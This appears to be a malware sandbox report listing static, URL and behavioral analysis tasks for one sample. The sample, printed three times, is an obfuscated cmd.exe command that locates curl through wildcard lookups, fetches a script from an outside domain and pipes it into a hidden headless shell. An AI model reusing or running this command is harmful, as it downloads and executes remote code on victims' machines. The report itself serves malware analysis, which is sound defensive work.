General
- Target http://example.com/C:%5C%5CWINDOWS%5C%5Csystem32%5C%5Ccmd.exe%5C%22%20/v%20/c%20%5C%22set%20agt=https:&set%20tl=/synchash8306.com/b?t=5mbnRv1y&for /f %h in ('where conh???.e??') do for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do start /b %h --headless %b /v /c ^\"%d -s !agt!!tl!^| %b^\"\"
- Sample260820-s3326stvdx
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://example.com/C:%5C%5CWINDOWS%5C%5Csystem32%5C%5Ccmd.exe%5C%22%20/v%20/c%20%5C%22set%20agt=https:&set%20tl=/synchash8306.com/b?t=5mbnRv1y&for /f %h in ('where conh???.e??') do for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do start /b %h --headless %b /v /c ^\"%d -s !agt!!tl!^| %b^\"\"
Resource
win10v2004-20260513-en
14 signatures
150 seconds
Malware Config
Targets
-
- Target http://example.com/C:%5C%5CWINDOWS%5C%5Csystem32%5C%5Ccmd.exe%5C%22%20/v%20/c%20%5C%22set%20agt=https:&set%20tl=/synchash8306.com/b?t=5mbnRv1y&for /f %h in ('where conh???.e??') do for /f %d in ('where cu??.e??') do for /f %b in ('where cm?.e??') do start /b %h --headless %b /v /c ^\"%d -s !agt!!tl!^| %b^\"\"